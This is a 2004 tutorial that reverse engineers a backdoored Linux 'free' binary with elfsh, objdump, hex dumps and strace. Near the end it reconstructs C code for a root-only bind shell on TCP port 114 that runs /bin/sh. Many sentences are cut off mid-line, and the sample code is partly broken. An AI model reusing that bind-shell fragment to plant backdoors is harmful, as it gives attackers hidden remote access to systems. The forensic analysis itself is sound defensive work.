

## Reverse Engineering Backdoored Binaries by ChrisR - on 01/07/04

- 1. Introduction
  - a. Our backdoored binary
  - b. ELF basics
- 2. Searching the sections
  - a. dynstr
  - b. REL
- 3. Follow the objdump
  - a. Following jmp's
  - b. Piecing together functions
- 4. Code Reconstruction

### ---[1. Introduction

This paper is on reverse engineering backdoored binaries on an x86 Linux Operating System. It is meant for those who want to know more about the inner workings of a binary from what we can determine by disassembling and then we will recreate the source code for the application.

Our binary is a backdoored version of 'free'. Below is a brief description of the free application,

```
borg:~# whatis free
free (1) - Display amount of free and used memory in the system
borg:~#
```

Our binary has been backdoored, which we are sure of because the SHA-1 sum calculated yesterday does not match the current analysis on the binary. At this point we have no idea what malicious code may be present in the application.

Let us begin by using elfsh, which is a shell environment for toying with ELF binaries. You can get a copy here

```
#####
[ELFsh-0.51b3]$ load free

[*] New object free loaded on Tue Mar 30 15:13:23 2004

[ELFsh-0.51b3]$
#####
```

Our 'free' binary is now loaded into elfsh. We will skip over printing our 'Program Header Table' because it's not present. We will print out what sections are present and then we can assess where to go from there. Various text has been stripped to :

```
#####
[ELFsh-0.51b3]$ sht

[SECTION HEADER TABLE .::: SHT is not stripped]
[Object free]

[000] (nil)          ----- ... => NULL section
[001] 0x80480f4     a----- .interp    ... => Program data
[002] 0x8048108     a----- .note.ABI-tag ... => Notes
[003] 0x8048128     a----- .hash        ... => Symbol hash table
[004] 0x80482ac     a----- .dynsym      ... => Dynamic linker symtab
[005] 0x804864c     a----- .dynstr      ... => String table
[006] 0x804881e     a----- .gnu.version ... => type 6FFFFFFF
[007] 0x8048894     a----- .gnu.version_r ... => type 6FFFFFFE
[008] 0x80488d4     a----- .rel.dyn     ... => Reloc. ent. w/o addends
[009] 0x80488fc     a----- .rel.plt     ... => Reloc. ent. w/o addends
[010] 0x8048a84     a-x---- .init        ... => Program data
[011] 0x8048a9c     a-x---- .plt         ... => Program data
```

```

[012] 0x8048dc0 a-x---- .text          ... => Program data
[013] 0x804ac10 a-x---- .fini           ... => Program data
[014] 0x804ac40 a----- .rodata        ... => Program data
[015] 0x804c000 aw----- .data           ... => Program data
[016] 0x804c020 aw----- .eh_frame       ... => Program data
[017] 0x804c024 aw----- .dynamic        ... => Dynamic linking info
[018] 0x804c0ec aw----- .ctors          ... => Program data
[019] 0x804c0fc aw----- .dtors          ... => Program data
[020] 0x804c104 aw----- .jcr           ... => Program data
[021] 0x804c108 aw----- .got           ... => Program data
[022] 0x804c1e0 aw----- .bss           ... => BSS
[023] (nil)      ------ .comment        ... => Program data
[024] (nil)      ------ .debug_aranges   ... => Program data
[025] (nil)      ------ .debug_pubnames  ... => Program data
[026] (nil)      ------ .debug_info      ... => Program data
[027] (nil)      ------ .debug_abbrev   ... => Program data
[028] (nil)      ------ .debug_line     ... => Program data
[029] (nil)      ------ .debug_frame    ... => Program data
[030] (nil)      ---ms-- .debug_str       ... => Program data
[031] (nil)      ------ .debug_macinfo   ... => Program data
[032] (nil)      ------ .debug_ranges   ... => Program data
[033] (nil)      ------ .shstrtab      ... => String table
[034] (nil)      ------ .symtab        ... => Symbol table
[035] (nil)      ------ .strtab        ... => String table

```

```
[ELFsh-0.51b3]$
```

```
#####
```

Our section header table is a map for the process image. These sections contain all the information about the example the .comment and .debug\_info sections contain no data. I won't go over all of the sections in detail b

## --[2. Searching the sections

There are a few parts to this ELF layout we want to focus on, which are .dynstr(a section that contains our strings doing during run time. String tables have an intricate layout that is covered in extensive detail in ELF documents strings to find interesting references. 'Strings' is a good application for pulling ASCII printable strings from an ELF however that's not what we are focusing on at the moment. As we can see above in the elfsh output our .dynstr assume we have to do our search within this space. Lets break open the old HEX editor and objdump to read

```
#####
borg:/$ objdump -D free > fdis
#####
```

We don't want that entire objdump output on our terminal, it would be too much to scroll through, which is why I off similar to below, only the beginning text was pasted as not to consume too much space.

```
#####
Disassembly of section .dynstr:
```

```

0804864c <.dynstr>:
804864c:    00 6c 69 62          add     %ch,0x62(%ecx,%ebp,2)
8048650:    63 2e               arpl   %bp,(%esi)
8048652:    73 6f               jae    80486c3 <_init-0x3c1>
8048654:    2e 36 00 73 74     add     %dh,%cs:%ss:0x74(%ebx)
#####
```

Now we have something to search for (00 6c 69 62) from our .dynstr section. This should make our hex editor output to a file as not overload our terminal. Now use an editor to find the correct spot in the file[,] by searching entries of our search term may be found. It should look similar to this:

```

                                6c 69 62 |....0.....lib|
00000650 63 2e 73 6f 2e 36 00 73 74 72 63 70 79 00 73 79 |c.so.6.strcpy.sy|
00000660 73 63 6f 6e 66 00 5f 5f 73 74 72 74 6f 64 5f 69 |sconf.__strtod_i|
00000670 6e 74 65 72 6e 61 6c 00 73 74 64 6f 75 74 00 5f |nternal.stdout._|
00000680 5f 73 74 72 74 6f 6c 5f 69 6e 74 65 72 6e 61 6c |_strtoul_internal|
00000690 00 62 73 65 61 72 63 68 00 75 73 6c 65 65 70 00 |.bsearch.usleep.|
000006a0 67 65 74 70 69 64 00 66 67 65 74 73 00 65 78 65 |getpid.fgets.exe|
000006b0 63 6c 00 70 65 72 72 6f 72 00 70 75 74 73 00 64 |cl.perror.puts.d|
000006c0 75 70 32 00 67 65 74 75 69 64 00 6f 70 74 61 72 |up2.getuid.optar|
000006d0 67 00 73 6f 63 6b 65 74 00 72 65 61 64 64 69 72 |g.socket.readdir|
000006e0 00 5f 5f 73 74 72 74 6f 75 6c 5f 69 6e 74 65 72 |.__strtoul_inter|
000006f0 6e 61 6c 00 66 66 6c 75 73 68 00 6c 73 65 65 6b |nal.fflush.lseek|
00000700 00 75 6e 61 6d 65 00 61 63 63 65 70 74 00 66 70 |.uname.accept.fp|
00000710 72 69 6e 74 66 00 62 69 6e 64 00 73 74 72 73 74 |rintf.bind.strst|
00000720 72 00 73 69 67 6e 61 6c 00 72 65 61 64 00 73 65 |r.signal.read.se|
00000730 74 70 67 72 70 00 72 65 61 6c 6c 6f 63 00 6c 69 |tpgrp.realloc.li|
00000740 73 74 65 6e 00 66 6f 72 6b 00 73 73 63 61 6e 66 |sten.fork.sscanf|
00000750 00 67 65 74 6f 70 74 00 6f 70 65 6e 64 69 72 00 |.getopt opendir.|
00000760 73 74 72 63 6d 70 00 73 70 72 69 6e 74 66 00 66 |strcmp.sprintf.f|
00000770 63 6c 6f 73 65 00 73 65 74 6c 6f 63 61 6c 65 00 |close.setlocale.|
00000780 73 74 64 65 72 72 00 66 70 75 74 63 00 5f 5f 63 |stderr.fputc.__c|
00000790 74 79 70 65 5f 62 5f 6c 6f 63 00 66 77 72 69 74 |type_b_loc.fwrit|
000007a0 65 00 66 6f 70 65 6e 00 5f 49 4f 5f 73 74 64 69 |e.fopen._IO_stdi|
000007b0 6e 5f 75 73 65 64 00 5f 65 78 69 74 00 5f 5f 6c |n_used._exit.__l|
000007c0 69 62 63 5f 73 74 61 72 74 5f 6d 61 69 6e 00 73 |ibc_start_main.s|
000007d0 74 72 6c 65 6e 00 73 74 72 63 68 72 00 63 6c 6f |trlen.strchr.clo|
000007e0 73 65 64 69 72 00 5f 5f 65 6e 76 69 72 6f 6e 00 |sedir.__environ.|
000007f0 5f 5f 67 6d 6f 6e 5f 73 74 61 72 74 5f 5f 00 47 |_gmon_start__.G|
00000800 4c 49 42 43 5f 32 2e 33 00 47 4c 49 42 43 5f 32 |LIBC_2.3.GLIBC_2|
00000810 2e 31 00 47 4c 49 42 43 5f 32 2e 30 00 00 00 00 |.1.GLIBC_2.0

```

Above are easily readable ASCII strings that may or may not stick out. Let's take 'bind' into consideration. Wh  
 Below is a list of ASCII strings that the clever reader should have picked out from the .dynstr section above:

- getuid
- listen
- fork
- socket
- accept
- bind
- fork

When we compare a 'strings' output to a known clean binary of free we don't see these at all.

```

#####
borg:/usr/bin$ strings free | grep accept
borg:/usr/bin$ strings free | grep bind
borg:/usr/bin$ strings free | grep getuid
borg:/usr/bin$ strings free | grep socket
borg:/usr/bin$
#####

```

The above .dynstr section is not a complete roundup of all readable ASCII strings found in this binary, which is  
 free application making these types of calls' All we can do at this point is speculate and saythese calls are usu

Now we'll focus on our relocation tables entries to see if we can pick up on any other malicious behavior that s

```

#####
[ELFsh-0.51b3]$ rel

[RELOCATION TABLES]
[Object free]

```

```

{Section .rel.dyn}
[000] R_386_GLOB_DAT 0x804c1d8 sym[056] : __gmon_start__
[001] R_386_COPY    0x804c1e0 sym[032] : __environ
[002] R_386_COPY    0x804c1e4 sym[019] : stdout
[003] R_386_COPY    0x804c1e8 sym[020] : stderr
[004] R_386_COPY    0x804c1ec sym[047] : optarg

{Section .rel.plt}
[000] R_386_JMP_SLOT 0x804c114 sym[001] : usleep
[001] R_386_JMP_SLOT 0x804c118 sym[002] : __strtod_internal
[002] R_386_JMP_SLOT 0x804c11c sym[003] : execl
[003] R_386_JMP_SLOT 0x804c120 sym[004] : strchr
[004] R_386_JMP_SLOT 0x804c124 sym[005] : setpggrp
[005] R_386_JMP_SLOT 0x804c128 sym[006] : getpid
[006] R_386_JMP_SLOT 0x804c12c sym[007] : strcmp
[007] R_386_JMP_SLOT 0x804c130 sym[008] : close
[008] R_386_JMP_SLOT 0x804c134 sym[009] : perror
[009] R_386_JMP_SLOT 0x804c138 sym[010] : fprintf
[010] R_386_JMP_SLOT 0x804c13c sym[011] : fork
[011] R_386_JMP_SLOT 0x804c140 sym[012] : signal
[012] R_386_JMP_SLOT 0x804c144 sym[013] : fflush
[013] R_386_JMP_SLOT 0x804c148 sym[014] : setlocale
[014] R_386_JMP_SLOT 0x804c14c sym[016] : accept
[015] R_386_JMP_SLOT 0x804c150 sym[017] : puts
[016] R_386_JMP_SLOT 0x804c154 sym[018] : listen
[017] R_386_JMP_SLOT 0x804c158 sym[021] : sysconf
[018] R_386_JMP_SLOT 0x804c15c sym[022] : getopt
[019] R_386_JMP_SLOT 0x804c160 sym[023] : fgets
[020] R_386_JMP_SLOT 0x804c164 sym[024] : strstr
[021] R_386_JMP_SLOT 0x804c168 sym[025] : strlen
[022] R_386_JMP_SLOT 0x804c16c sym[026] : uname
[023] R_386_JMP_SLOT 0x804c170 sym[027] : __strtol_internal
[024] R_386_JMP_SLOT 0x804c174 sym[028] : fputc
[025] R_386_JMP_SLOT 0x804c178 sym[029] : __libc_start_main
[026] R_386_JMP_SLOT 0x804c17c sym[030] : dup2
[027] R_386_JMP_SLOT 0x804c180 sym[031] : realloc
[028] R_386_JMP_SLOT 0x804c184 sym[033] : printf
[029] R_386_JMP_SLOT 0x804c188 sym[034] : bind
[030] R_386_JMP_SLOT 0x804c18c sym[035] : getuid
[031] R_386_JMP_SLOT 0x804c190 sym[036] : lseek
[032] R_386_JMP_SLOT 0x804c194 sym[038] : fclose
[033] R_386_JMP_SLOT 0x804c198 sym[039] : closedir
[034] R_386_JMP_SLOT 0x804c19c sym[040] : opendir
[035] R_386_JMP_SLOT 0x804c1a0 sym[041] : open
[036] R_386_JMP_SLOT 0x804c1a4 sym[042] : exit
[037] R_386_JMP_SLOT 0x804c1a8 sym[043] : sscanf
[038] R_386_JMP_SLOT 0x804c1ac sym[044] : _exit
[039] R_386_JMP_SLOT 0x804c1b0 sym[045] : fopen
[040] R_386_JMP_SLOT 0x804c1b4 sym[046] : __strtoul_internal
[041] R_386_JMP_SLOT 0x804c1b8 sym[049] : sprintf
[042] R_386_JMP_SLOT 0x804c1bc sym[050] : fwrite
[043] R_386_JMP_SLOT 0x804c1c0 sym[051] : socket
[044] R_386_JMP_SLOT 0x804c1c4 sym[052] : readdir
[045] R_386_JMP_SLOT 0x804c1c8 sym[053] : __ctype_b_loc
[046] R_386_JMP_SLOT 0x804c1cc sym[054] : bsearch
[047] R_386_JMP_SLOT 0x804c1d0 sym[055] : read
[048] R_386_JMP_SLOT 0x804c1d4 sym[057] : strcpy

[ELFsh-0.51b3]$
#####

```

An executable image has to provide information on how to modify its sections. The calls above such as execl,

not statically linked at compile time. So the program has to modify one or more of its program data sections in but unfortunately we are not sure when during run time they are being called yet, just that they are.

```
#####
[002] R_386_JMP_SLOT 0x804c11c sym[003] : execl
[010] R_386_JMP_SLOT 0x804c13c sym[011] : fork
[014] R_386_JMP_SLOT 0x804c14c sym[016] : accept
[016] R_386_JMP_SLOT 0x804c154 sym[018] : listen
[029] R_386_JMP_SLOT 0x804c188 sym[034] : bind
[030] R_386_JMP_SLOT 0x804c18c sym[035] : getuid
[043] R_386_JMP_SLOT 0x804c1c0 sym[051] : socket
#####
```

### ---[3. Following the objdump

Above we saw the suspicious entries we saw before in our strings table. Why exactly is our binary making the shell. A sharp reader would have noticed these are for the most part already in logical order from the bottom u yet and continue on. Our socket call is located at 0x804c1c0, therefore if we parse through our objdump output

```
#####
SOCKET

8048d5c: ff 25 c0 c1 04 08 jmp *0x804c1c0
8048d62: 68 58 01 00 00 push $0x158
8048d67: e9 30 fd ff ff jmp 8048a9c <_init+0x18>
#####
```

The address where our external socket address of 0x804c1c0 gets called from is '8048d5c'. We know our socket program sets up this code. Because we see where the program is jumping from, address 8048d5c, we will see:

```
#####
8048eb7: e8 a0 fe ff ff call 8048d5c <_init+0x2d8>
8048ebc: 89 43 dc mov %eax,0xffffffff(%ebx)
8048ebf: 83 c4 10 add $0x10,%esp
8048ec2: 40 inc %eax
8048ec3: 0f 84 42 01 00 00 je 804900b
8048ec9: c7 43 f0 00 00 00 00 movl $0x0,0xffffffff0(%ebx)
8048ed0: c7 43 f8 00 00 00 00 movl $0x0,0xffffffff8(%ebx)
8048ed7: c7 43 fc 00 00 00 00 movl $0x0,0xfffffff0(%ebx)
8048ede: 66 c7 43 f0 02 00 movw $0x2,0xffffffff0(%ebx)
8048ee4: c7 43 f4 00 00 00 00 movl $0x0,0xffffffff4(%ebx)
8048eeb: 66 c7 43 f2 00 72 movw $0x7200,0xfffffff2(%ebx)
8048ef1: 50 push %eax
8048ef2: 6a 10 push $0x10
8048ef4: 8d 43 f0 lea 0xffffffff0(%ebx),%eax
8048ef7: 50 push %eax
8048ef8: 89 45 ec mov %eax,0xfffffec(%ebp)
8048efb: 8b 43 dc mov 0xffffffffdc(%ebx),%eax
8048efe: 50 push %eax
#####
```

Could this be the beginning of a function named 'gogogo' that sets up our socket?

```
8048ec3: 0f 84 42 01 00 00 je 804900b
```

Could this be a socket preparing to bind to port 114?  
(114 in HEX is 72)

```
048eeb: 66 c7 43 f2 00 72 movw $0x7200,0xfffff2(%ebx)
```

Now we know a socket call has been implemented, therefore we should follow our getuid, bind, listen, accept,

```
#####
```

```
GETUID
```

```
8048c8c:    ff 25 8c c1 04 08    jmp     *0x804c18c
8048c92:    68 f0 00 00 00      push   $0xf0
8048c97:    e9 00 fe ff ff      jmp     8048a9c <_init+0x18>
.....
.....
8048e8e:    e8 f9 fd ff ff      call   8048c8c <_init+0x208>
8048e93:    85 c0                test   %eax,%eax
8048e95:    ba 01 00 00 00      mov    $0x1,%edx
8048e9a:    74 14                je     8048eb0
8048e9c:    8d 65 f4            lea   0xfffffff4(%ebp),%esp
8048e9f:    5b                  pop    %ebx
8048ea0:    5e                  pop    %esi
8048ea1:    5f                  pop    %edi
8048ea2:    89 d0                mov    %edx,%eax
8048ea4:    5d                  pop    %ebp
8048ea5:    c3                  ret
8048ea6:    8d 76 00            lea   0x0(%esi),%esi
8048ea9:    8d bc 27 00 00 00 00 lea   0x0(%edi,1),%edi
8048eb0:    50                  push   %eax
8048eb1:    6a 06                push   $0x6
8048eb3:    6a 01                push   $0x1
8048eb5:    6a 02                push   $0x2
```

```
#####
```

```
#####
```

```
BIND
```

```
8048c7c:    ff 25 88 c1 04 08    jmp     *0x804c188
8048c82:    68 e8 00 00 00      push   $0xe8
8048c87:    e9 10 fe ff ff      jmp     8048a9c <_init+0x18>
.....
.....
8048eff:    e8 78 fd ff ff      call   8048c7c <_init+0x1f8>
8048f04:    83 c4 10            add    $0x10,%esp
8048f07:    85 c0                test   %eax,%eax
8048f09:    89 43 d8            mov    %eax,0xffffffd8(%ebx)
8048f0c:    ba 01 00 00 00      mov    $0x1,%edx
8048f11:    75 89                jne   8048e9c
```

```
#####
```

```
#####
```

```
LISTEN
```

```
8048bac:    ff 25 54 c1 04 08    jmp     *0x804c154
8048bb2:    68 80 00 00 00      push   $0x80
8048bb7:    e9 e0 fe ff ff      jmp     8048a9c <_init+0x18>
.....
8048f51:    e8 56 fc ff ff      call   8048bac <_init+0x128>
8048f56:    83 c4 10            add    $0x10,%esp
8048f59:    85 c0                test   %eax,%eax
8048f5b:    89 43 d8            mov    %eax,0xffffffd8(%ebx)
8048f5e:    ba 01 00 00 00      mov    $0x1,%edx
8048f63:    0f 85 33 ff ff ff    jne   8048e9c
8048f69:    8d 7b d4            lea   0xffffffd4(%ebx),%edi
8048f6c:    8d 73 e0            lea   0xffffffe0(%ebx),%esi
8048f6f:    c7 43 d4 10 00 00 00 movl   $0x10,0xffffffd4(%ebx)
8048f76:    51                  push   %ecx
8048f77:    57                  push   %edi
```

```

8048f78:      56                push   %esi
8048f79:      8b 53 dc          mov    0xffffffff(%ebx),%edx
8048f7c:      52                push   %edx
8048f7d:      89 75 e8          mov    %esi,0xffffffe8(%ebp)
#####

#####
ACCEPT

8048b8c:      ff 25 4c c1 04 08  jmp    *0x804c14c
8048b92:      68 70 00 00 00    push   $0x70
8048b97:      e9 00 ff ff ff    jmp    8048a9c <_init+0x18>
.....
8048f80:      e8 07 fc ff ff    call   8048b8c <_init+0x108>
8048f85:      83 c4 10          add    $0x10,%esp
8048f88:      85 c0             test   %eax,%eax
8048f8a:      89 43 d0          mov    %eax,0xffffffffd0(%ebx)
8048f8d:      78 72             js     8049001
#####

#####
FORK

8048b4c:      ff 25 3c c1 04 08  jmp    *0x804c13c
8048b52:      68 50 00 00 00    push   $0x50
8048b57:      e9 40 ff ff ff    jmp    8048a9c <_init+0x18>
.....
.....
8048f13:      e8 34 fc ff ff    call   8048b4c <_init+0xc8>
8048f18:      85 c0             test   %eax,%eax
8048f1a:      ba 01 00 00 00    mov    $0x1,%edx
8048f1f:      0f 85 77 ff ff ff  jne    8048e9c
#####

#####
EXECL

8048acc:      ff 25 1c c1 04 08  jmp    *0x804c11c
8048ad2:      68 10 00 00 00    push   $0x10
8048ad7:      e9 c0 ff ff ff    jmp    8048a9c <_init+0x18>
.....
8048feb:      e8 dc fa ff ff    call   8048acc <_init+0x48>
8048ff0:      5e                pop    %esi
8048ff1:      8b 5b d0          mov    0xffffffffd0(%ebx),%ebx
8048ff4:      53                push   %ebx
#####

Could this be /bin/sh'
8048ff1:      8b 5b d0          mov    0xffffffffd0(%ebx),%ebx

```

#### ---[4. Code Reconstruction

At this point we've discovered a common link between our socket, getuid, bind, listen, accept, fork, and execl binded shell on TCP port 114, and it only opens if your root (hence the getuid and low port number).

```

#####
#define port 114
...
int gogogo() {

local.sin_family=AF_INET;

```

```

local.sin_port = htons(port);
local.sin_addr.s_addr=INADDR_ANY;
memset(&(local.sin_zero), 0, sizeof(local.sin_zero));

if((insock=socket(AF_INET,SOCK_STREAM,0))<0)
return 0;

if((bind(insock,(struct sockaddr *)&local,sizeof(local))<0))
return0;

if((listen(insock, 1))<0)
return 0;

        if (fork() != 0)
            exit(0);
        setpgrp();
        signal(SIGHUP, SIG_IGN);

sockl=sizeof(struct sockaddr_in);
if ((outsock = accept(insock, (struct sockaddr *)&away,
&sockl)) == -1) {
execl ('/bin/sh', '/bin/sh');
...
#####

```

The above is just a sample of what the original socket code MIGHT have looked like (the syntax may be important to our forensic work at the time).

This still leaves some unanswered questions such as: what is calling this backdoor and how do we trigger it. F we stumble upon this:

```
804916d: e8 0e fd ff ff call 8048e80
```

This appears to be in the 'main' function, exactly where we should have expected it to be. But we need to know main,

```

8049165:      e9 f0 fe ff ff      jmp     804905a
804916a:      8d 4d e8            lea    0xffffffe8(%ebp),%ecx
804916d:      e8 0e fd ff ff      call   8048e80
8049172:      e8 f9 10 00 00      call   804a270
8049177:      83 ec 0c            sub    $0xc,%esp

```

The call appears to be right next to the call. Perhaps they are called at the same time'

```

#####
borg:/# strace free -t
.....
open('/proc/meminfo', O_RDONLY)          = 3
.....
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(114), sin_addr=inet_addr('0.0.0.0')},
listen(3, 1)
.....
borg:/#
#####

```

And there you have it. Although the output above using the strace command is extremely cropped you get the used.

Now [lets] let's use strings on our binary and grep for a shell.



```
#####  
borg:~/ $ strings /HDB/sbb/free | grep /bin/sh  
/bin/sh  
borg:~/ $  
#####
```

My apologies if I left anything out of this paper or did not cover the details enough. Im currently planning a book

[www.cr-secure.net](http://www.cr-secure.net) - borg

Hello: TLharris, MattJF, think, shrike, george